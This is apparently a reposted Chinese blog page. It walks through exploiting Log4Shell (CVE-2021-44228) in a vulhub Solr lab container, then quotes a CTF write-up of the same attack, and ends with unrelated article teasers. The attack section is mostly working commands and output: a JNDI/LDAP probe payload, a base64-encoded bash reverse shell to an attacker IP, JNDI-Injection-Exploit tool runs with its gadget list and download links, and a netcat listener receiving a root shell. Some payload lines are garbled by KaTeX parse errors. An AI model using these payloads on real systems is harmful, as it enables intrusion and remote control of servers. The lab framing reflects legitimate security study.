[~/vulhub]/log4j/CVE-2021-44228-20221225

news/2024/5/6 11:58:15/文章来源:https://blog.csdn.net/m0_47210241/article/details/128438742

[~/vulhub]/log4j/CVE-2021-44228


┌──(kwkl㉿kwkl)-[~/vulhub]
└─$ cd log4j/CVE-2021-44228 ┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ dir
1.png  2.png  docker-compose.yml  README.md  README.zh-cn.md┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ docker-compose up -d
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated"class": algorithms.Blowfish,
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
8.11.0: Pulling from vulhub/solr
43c265008fae: Pull complete
af36d2c7a148: Pull complete
2b7b4d10e1c1: Pull complete
f264389d8f2f: Pull complete
1a2c46e93f4a: Pull complete
f9506bb322c0: Pull complete
96f5dad14c2c: Pull complete
c387eff49cc3: Pull complete
Digest: sha256:84255b20a2d134fc97bbb0fab7cb826087098ee594fcbc94c3a71def24d31003
Status: Downloaded newer image for vulhub/solr:8.11.0
Creating cve-2021-44228_solr_1 ... done┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ 

┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ cat docker-compose.yml
version: ‘2’
services:
solr:
image: vulhub/solr:8.11.0
ports:

  • “8983:8983”

┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$

http://localhost:8983/solr/#/~logging

image-20221225204840851

http://localhost:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.j2ta3w.dnslog.cn}

image-20221225212249094

image-20221225212305198

image-20221225213222750

reverse shell

1.bash -i >& /dev/tcp/your_ip/6666 0>&1

2.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码}|{base64,-d}|{bash,-i}” -A “服务器IP”

or

JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C “bash -c {echo,base64编码}|{base64,-d}|{bash,-i}” -A “服务器IP”

echo ‘bash -i >&/dev/tcp/10.10.10.140/1234 0>&1’ | base64

┌──(kwkl㉿kwkl)-[~]
└─$ echo ‘bash -i >&/dev/tcp/10.10.10.140/1234 0>&1’ | base64
YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK

java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}” -A “10.10.10.140”

${jndi:ldap://10.10.10.140:1389/2u3m9p}

image-20221225215527022

image-20221225215629695

run Jodi server

                                                                                                                                                                               ┌──(kwkl㉿kwkl)-[~]
└─$ echo 'bash -i >&/dev/tcp/10.10.10.140/1234 0>&1' | base64 
YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK┌──(kwkl㉿kwkl)-[~]
└─$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar  -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "10.10.10.140"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
log4j:WARN No appenders could be found for logger (org.eclipse.jetty.util.log).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
[rmiADDRESS] >> rmi://10.10.10.140:1099
[ldapADDRESS] >> ldap://10.10.10.140:1389
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}
----------------------------JNDI Remote Refenrence Links---------------------------- 
- Target environment: [RCE] Build in JDK 1.6<Dependencies>: trustURLCodebase is true [RMI: JRE<6u141] [LDAP: JRE<6u201]                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [rmiADDRESS|ldapADDRESS]/remoteExploit6
- Target environment: [RCE] Build in JDK 1.7<Dependencies>: trustURLCodebase is true [RMI: JRE<7u131] [LDAP: JRE<7u191]                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [rmiADDRESS|ldapADDRESS]/remoteExploit7
- Target environment: [RCE] Build in JDK 1.8<Dependencies>: trustURLCodebase is true [RMI: JRE<8u121] [LDAP: JRE<8u182]                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [rmiADDRESS|ldapADDRESS]/remoteExploit8----------------------------JNDI Local Refenrence Links---------------------------- 
- Target environment: [RCE] Tomcat 8+ or SpringBoot 1.2.x+<Dependencies>: trustURLCodebase is false but have Tomcat 8+ or SpringBoot 1.2.x+ in classpath                                                                                 <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [rmiADDRESS|ldapADDRESS]/localExploitel
- Target environment: [RCE] Tomcat and Groovy (GroovyClassLoader)<Dependencies>: trustURLCodebase is false but have Tomcat and Groovy in classpath                                                                                              <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [rmiADDRESS|ldapADDRESS]/localGroovy1
- Target environment: [RCE] Tomcat and Groovy (GroovyShell)<Dependencies>: trustURLCodebase is false and but Tomcat and Groovy in classpath                                                                                               <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [rmiADDRESS|ldapADDRESS]/localGroovy2
- Target environment: [ReadFile] WebSphere v6-v9<Dependencies>: trustURLCodebase is false but have WebSphere v6-v9 in classpath, but file content will stop util '#' or '?' or EOF.                                            <Example CMD> : '<filename>'                                                                                                                                                   <EXP Address> : [rmiADDRESS|ldapADDRESS]/localWebsphere-----------------------------JNDI Deserialization Links---------------------------- 
- Target environment: [WriteFile] AspectJWeaver.<Dependencies>: { aspectjweaver:1.9.2, commons-collections:3.2.2 }                                                                                                             <Example CMD> : '<filename>;<base64 of your content>'                                                                                                                          <EXP Address> : [ldapADDRESS]/deserialAspectJWeaver
- Target environment: [RCE] BeanShell1<Dependencies>: { bsh:2.0b5 }                                                                                                                                                  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialBeanShell1
- Target environment: [RCE] Click1.<Dependencies>: { click-nodeps:2.3.0, javax.servlet-api:3.1.0 }                                                                                                                <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialClick1
- Target environment: [RCE] Clojure.<Dependencies>: { clojure:1.8.0 }                                                                                                                                              <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialClojure
- Target environment: [RCE] CommonsBeanutils1<Dependencies>: { commons-beanutils:1.9.2 }                                                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsBeanutils1
- Target environment: [RCE] CommonsBeanutils2<Dependencies>: { commons-beanutils:1.9.2 }                                                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsBeanutils2
- Target environment: [RCE] CommonsCollections1<Dependencies>: { JRE <= 8u71, commons-collections:3.1 }                                                                                                                       <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections1
- Target environment: [RCE] CommonsCollections10<Dependencies>: { commons-collections:3.2.1 }                                                                                                                                  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections10
- Target environment: [RCE] CommonsCollections2<Dependencies>: { commons-collections4:4.0 }                                                                                                                                   <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections2
- Target environment: [RCE] CommonsCollections3<Dependencies>: { 8 < JRE <= 8u71, commons-collections:3.1 }                                                                                                                   <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections3
- Target environment: [RCE] CommonsCollections4<Dependencies>: { commons-collections4:4.0 }                                                                                                                                   <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections4
- Target environment: [RCE] CommonsCollections5<Dependencies>: { JRE >= 8u76, commons-collections:3.1 }                                                                                                                       <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections5
- Target environment: [RCE] CommonsCollections6<Dependencies>: { commons-collections:3.1 }                                                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections6
- Target environment: [RCE] CommonsCollections7<Dependencies>: { commons-collections:3.1 }                                                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections7
- Target environment: [RCE] CommonsCollections8<Dependencies>: { commons-collections4:4.0 }                                                                                                                                   <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections8
- Target environment: [RCE] CommonsCollections9<Dependencies>: { commons-collections:3.1 }                                                                                                                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialCommonsCollections9
- Target environment: [WriteFile] FileUpload1<Dependencies>: { commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4 }                                                                                     <Example CMD> : 'copyAndDelete;sourceFile;destDir'                                                                                                                             'write;destDir;ascii-data'                                                                                                                                     'writeB64;destDir;base64-data'                                                                                                                                 'writeOld;destFile;ascii-data'                                                                                                                                 'writeOldB64;destFile;base64-data'                                                                                                                             <EXP Address> : [ldapADDRESS]/deserialFileUpload1
- Target environment: [RCE] Groovy1<Dependencies>: { org.codehaus.groovy:groovy:2.3.9 }                                                                                                                           <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialGroovy1
- Target environment: [RCE] Hibernate1<Dependencies>: { JRE >= 7, org.hibernate:hibernate-core:5.0.7.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2 }                                                                                                                                                                   { JRE > 7, org.hibernate:hibernate-core:4.3.11.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2, dom4j:dom4j:1.6.1 }                                                                                                                                                <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialHibernate1
- Target environment: [RCE] JBossInterceptors1<Dependencies>: { JRE >= 7, javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21 }                                                                       <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialJBossInterceptors1
- Target environment: [RCE] JSON1<Dependencies>: { net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE }                                                                       <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialJSON1
- Target environment: [RCE] JavassistWeld1<Dependencies>: { JRE >= 7, javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21 }                                                                                          <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialJavassistWeld1
- Target environment: [RCE] Jython1: Where local path is the python script's location on the attack box and remote path is the location where the script will be written/executed from.                                                                                                                                                                           <Dependencies>: { org.python:jython-standalone:2.5.2 }                                                                                                                         <Example CMD> : '/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py'                                                                                                      <EXP Address> : [ldapADDRESS]/deserialJython1
- Target environment: [RCE] MozillaRhino1<Dependencies>: { JRE >= 8u76, rhino:js:1.7R2 }                                                                                                                                <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialMozillaRhino1
- Target environment: [RCE] MozillaRhino2<Dependencies>: { rhino:js:1.7R2 }                                                                                                                                             <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialMozillaRhino2
- Target environment: [RCE] Myfaces1<Dependencies>: { org.apache.myfaces.core:myfaces-impl:2.2.9 }                                                                                                                 <Example CMD> : an EL expression to execute                                                                                                                                    <EXP Address> : [ldapADDRESS]/deserialMyfaces1
- Target environment: [RCE] ROME1<Dependencies>: { rome:rome:1.0 }                                                                                                                                              <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialROME1
- Target environment: [RCE] ROME2<Dependencies>: { rome:rome:1.0 }                                                                                                                                              <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialROME2
- Target environment: [RCE] Spring1<Dependencies>: { JRE < 8 or 8 < JRE <= 8u71, org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE }                                  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialSpring1
- Target environment: [RCE] Spring2<Dependencies>: { JRE < 8 or 8 < JRE <= 8u71, org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE }                                    <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialSpring2
- Target environment: [DNS] URLDNS<Dependencies>: {  }                                                                                                                                                           <Example CMD> : 'http://dnslog.cn'                                                                                                                                             <EXP Address> : [ldapADDRESS]/deserialURLDNS
- Target environment: [RCE] Vaadin1<Dependencies>: { com.vaadin:vaadin-server:7.7.14, com.vaadin:vaadin-shared:7.7.14 }                                                                                           <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                <EXP Address> : [ldapADDRESS]/deserialVaadin1
- Target environment: [WriteFile] Wicket1<Dependencies>: { org.apache.wicket:wicket-util:6.23.0 }                                                                                                                       <Example CMD> : 'copyAndDelete;sourceFile;destDir'                                                                                                                             'write;destDir;ascii-data'                                                                                                                                     'writeB64;destDir;base64-data'                                                                                                                                 'writeOld;destFile;ascii-data'                                                                                                                                 'writeOldB64;destFile;base64-data'                                                                                                                             <EXP Address> : [ldapADDRESS]/deserialWicket1----------------------------Server Log----------------------------
2022-12-25 21:50:07 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-12-25 21:50:07 [RMISERVER]  >> Listening on 0.0.0.0:1099
2022-12-25 21:50:07 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2022-12-25 21:54:46 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:46 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:46 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:46 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class

image-20221225215507305

listening port

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvnp 1234         
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.18.0.2.
Ncat: Connection from 172.18.0.2:33580.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@4a020dd74b40:/opt/solr/server# root@4a020dd74b40:/opt/solr/server# root@4a020dd74b40:/opt/solr/server# ls
ls
README.txt
contexts
etc
lib
logs
modules
resources
scripts
solr
solr-webapp
start.jar
root@4a020dd74b40:/opt/solr/server# ls
ls
README.txt
contexts
etc
lib
logs
modules
resources
scripts
solr
solr-webapp
start.jar
root@4a020dd74b40:/opt/solr/server# ls /root

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/download/1.8/JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar

文章目录

前言
工具
Log4j 漏洞测试
Log4j 反弹shell
后记
前言

比赛出了一个题目,发现有log4j漏洞但是需要反弹shell才能拿到flag,一开始试了几个工具都没有成功反弹shell,直到看到了这篇优秀博文,在此感谢这位师傅~
本文记录一下log4j反弹shell的这个过程,仅供各位师傅参考~

去更远的地方 见更亮的光
工具

测试了部分工具发现这个比较好用一点,可以直接github下载也可以到我的网盘上下载
girhub:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
网盘链接:https://pan.baidu.com/s/13cz9sZzMJcF9s1y7E7sOWw
提取码:qwer

Log4j 漏洞测试

题目给了一个solr环境,通过首页可以看到版本为8.11.0

在DNSLog上获取一个域名

通过solr的API测试log4j漏洞是否存在,具体的payload如下:

/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.jprd1u.dnslog.cn}
1

在DNSlog平台上成功回显

至此可以推测目标环境存在log4j漏洞

Log4j 反弹shell

接下来就需要用到上面的工具和一台公网服务器了,首先把工具上传,将反弹shell的命令进行base64编码:

bash -i >& /dev/tcp/your_ip/6666 0>&1
1
用base64在线网站进行编码后填入下面的命令中,同时需要填入服务器的IP地址

执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码}|{base64,-d}|{bash,-i}” -A “服务器IP”
1

接下来在服务器上开启监听,我这里用的是5555端口

nc -lvp 5555
1
根据目标环境选择payload如下:

${jndi:ldap://IP:1389/2u3m9p}
1
用payload进行测试

成功反弹shell

后记

如有其他疑问欢迎评论留言~
————————————————
版权声明:本文为CSDN博主「monster663」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/monster663/article/details/126806732

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_240062.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

_15LeetCode代码随想录算法训练营第十五天-C++二叉树

_15LeetCode代码随想录算法训练营第十五天-C二叉树 题目列表 110.平衡二叉树257.二叉树的所有路径404.左叶子之和 110.平衡二叉树 题目 给定一个二叉树&#xff0c;判断它是否是高度平衡的二叉树。 本题中&#xff0c;一棵高度平衡二叉树定义为&#xff1a; 一个二叉树每…

SpringBoot-2 读取properties;自动加载127个类原理总结;全部加载,按需配置

读取properties 方式一&#xff1a;非配置类填写&#xff1a;ComponentConfigurationProperties 1)建立bean&#xff1a; /只有在容器中的组件才拥有springboot提供的强大功能 Component ConfigurationProperties(prefix "mycar") public class Car {private Stri…

NetSuite Decode函数

昨天是平安夜&#xff0c;小家伙仍然为圣诞老人的到来准备了礼物&#xff0c;这是他的传统。每年为了感谢圣诞老人和驯鹿的到来&#xff0c;他都会准备上点心、水果。今年&#xff0c;他认为驯鹿可能需要电力&#xff0c;所以准备了电池给它们享用。 真希望天真一直伴随他的成长…

互联网技术不再是统领,当下正在发生着一场深刻的变革

拥抱实体经济&#xff0c;绝对是当下互联网玩家们的首要选择。无论是头部的互联网企业来讲&#xff0c;还是新生的互联网玩家而言&#xff0c;它们都不约而同地将关注的焦点聚焦在了这样一个方向上。   透过这一点&#xff0c;我们可以非常明显地感受到&#xff0c;一个全新的…

蓝桥杯备赛Day4——多维数组

二维数组初始化 p[[0 for i in range(5)] for j in range(2)] #法一 p[[0]*5 for j in range(2)] #法二 s[[1,2,3],[4,5,6]] print(s) for i in range(2):for j in range(3):print(s[i][j],end ) 三维数组初始化 a[[[0 for _ in range(2)] for __ in…

CSDN每日一练最长递增的区间长度 C语言

题目名称&#xff1a;最长递增的区间长度 时间限制&#xff1a;1000ms 内存限制&#xff1a;256M 题目描述 给一个无序数组&#xff0c;求最长递增的区间长度。如&#xff1a;[5,2,3,8,1,9] 最长区间 2,3,8 长度为 3 &#xff08;注意&#xff1a;测试用例仅做参考&#xff0c;…

windows@网络防火墙@软件联网控制

文章目录ref打开防火墙控制面板常用部分限制某个软件联网文档参考具体操作取消控制/禁用第三方软件控制ref (Windows) 创建出站端口规则 | Microsoft LearnWindows Defender Firewall with Advanced Security (Windows) | Microsoft Learn组策略 Windows) 高级安全性的 Window…

二叉树经典算法题目

1.二叉树的前中后序遍历&#xff08;简单&#xff09; 省略 2.二叉树的深度(简单) 输入一棵二叉树的根节点&#xff0c;求该树的深度。从根节点到叶节点依次经过的节点&#xff08;含根、叶节点&#xff09;形成树的一条路径&#xff0c;最长路径的长度为树的深度。 例如&a…

VS coda C++、python运行与Dbug配置

首先新建终端 一次性使用C方法 检查C编译器是否存在 which g可见位置存在于&#xff1a;/usr/bin/g 一次性命令格式&#xff1a; 使用json配置文件 运行C方法&#xff08;推荐&#xff09;&#xff1a; 根据你查找的g的位置来决定 使用配置好的tasks.json&#xff08;C的…

Java window多环境配置

目录JDK版本下载配置内容描述创建JAVA_HOME在Path配置版本切换效果JDK版本下载 Java8 Download address 这个是Java8 的下载地址&#xff0c;下载是要登录的&#xff0c;自己花费一点时间去注册。如果想要下载其它版本的JDK&#xff0c;请看下面的图&#xff0c;然后你就可以看…

SSD_学习笔记记录

one-steage VGG16模型的修改 VGG16的模型输出&#xff0c;其中224.。。为特征图的大小。 SSD模型中对VGG网络的修改&#xff1a; SSD模型是对VGG中的第四个卷积块中的最后一个Conv2d进行第一个输出&#xff0c;在这里简称为Conv4-3。以及第五个卷积块中的最后一个Conv2d进行…

前端开发:Vue封装通过API调用的组件的方法

前言 在前端开发中&#xff0c;关于Vue的使用相比大家并不陌生&#xff0c;而且Vue框架的优势也是其他框架所不能比的&#xff0c;尤其是Vue的封装思想更是堪称一绝&#xff0c;还有就是组件化的运用实践过程也是亮点。所以关于Vue框架的使用想必看官都不陌生&#xff0c;而且常…

干货 | 关于PCB中的“平衡铜”,一文全部说明白

平衡铜是PCB设计的一个重要环节&#xff0c;对PCB上闲置的空间用铜箔进行填充&#xff0c;一般将其设置为地平面。 平衡铜的意义在于&#xff1a; 对信号来说&#xff0c;提供更好的返回路径&#xff0c;提高抗干扰能力&#xff1b;对电源来说&#xff0c;降低阻抗&#xff0c;…

8 NP完全性理论

8 NP完全性理论 p问题 NP问题 NP完全问题 NPC(complete ) NP难问题NP-hard p问题 是一类能够用**(确定的)算法**在多项式时间内求解的可判定问题 ●这种问题类型也称为多项式类型 NP问题 是一类能够用不确定算法在多项式时间内求解的可判定问题 在确定性计算模型下多项式时…

Web前端105天-day64-HTML5_CORE

HTML5CORE04 目录 前言 一、复习 二、WebSocket 三、服务器搭建 四、聊天室 五、defineProperty 5.1.初识defineProperty 5.2.配置多个属性 5.3.可配置 5.4.赋值监听 5.5.练习 5.6.计算属性 总结 前言 HTML5CORE04学习开始 一、复习 SVG: 利用HTML的 DOM 来绘制图…

juc-4-synchronized原理

目录 1、synchronized 作用于静态方法 总结 ​编辑 案例 静态成员变量 (synchronized锁非静态方法) 案例 静态成员变量 (synchronized锁静态方法 或 直接锁类) 2、监视器锁(monitor) 2.1 synchronized怎么实现的线程安全呢&#xff1f; 3、JDK6 synchronized 的优化 3.1 C…

6.s081 学习实验记录(二)xv6 and unix utilities

文章目录一、boot xv6二、sleep三、pingpong四、primes五、find六、xargs该实验主要用来熟悉xv6以及其系统调用 一、boot xv6 实验目的&#xff1a; 启动xv6系统&#xff0c;并使用提供的命令ls&#xff0c;列出系统所有的文件ctrl p&#xff0c;打印当前运行的进程ctrl a…

IP地址分类及范围详解

IP地址分为公网IP地址&#xff08;合法IP地址&#xff09;和私有IP地址 公网IP地址主要应用于Internet上的主机访问&#xff0c;而私有IP地址应用于局域网中计算机的相互通信。 IP地址的表示形式&#xff1a;分为二进制表示和点分十进制表示。现在使用的IP地址长度均为32位/4个…

玩转GPT--在线文本生成项目[可入坑~科普系列]

文章目录前言效果页面说明文字个数top_KTop_Ptemperature聊天上下文关联记忆项目部署获取项目获取模型运行彩蛋总结前言 没办法&#xff0c;最近ChatGPT杀疯了&#xff0c;没忍住&#xff0c;还是想look&#xff0c;look。没办法&#xff0c;哪个帅小伙能够忍受的了一个可以和…

红中私教:计网那点事(1)

前言 &#x1f340;作者简介&#xff1a;被吉师散养、喜欢前端、学过后端、练过CTF、玩过DOS、不喜欢java的不知名学生。 &#x1f341;个人主页&#xff1a;红中 &#x1f342;专栏地址&#xff1a;网安专栏 光明神已陨落&#xff0c;现在 由计网引领我 破戒了&#xff0c;本来…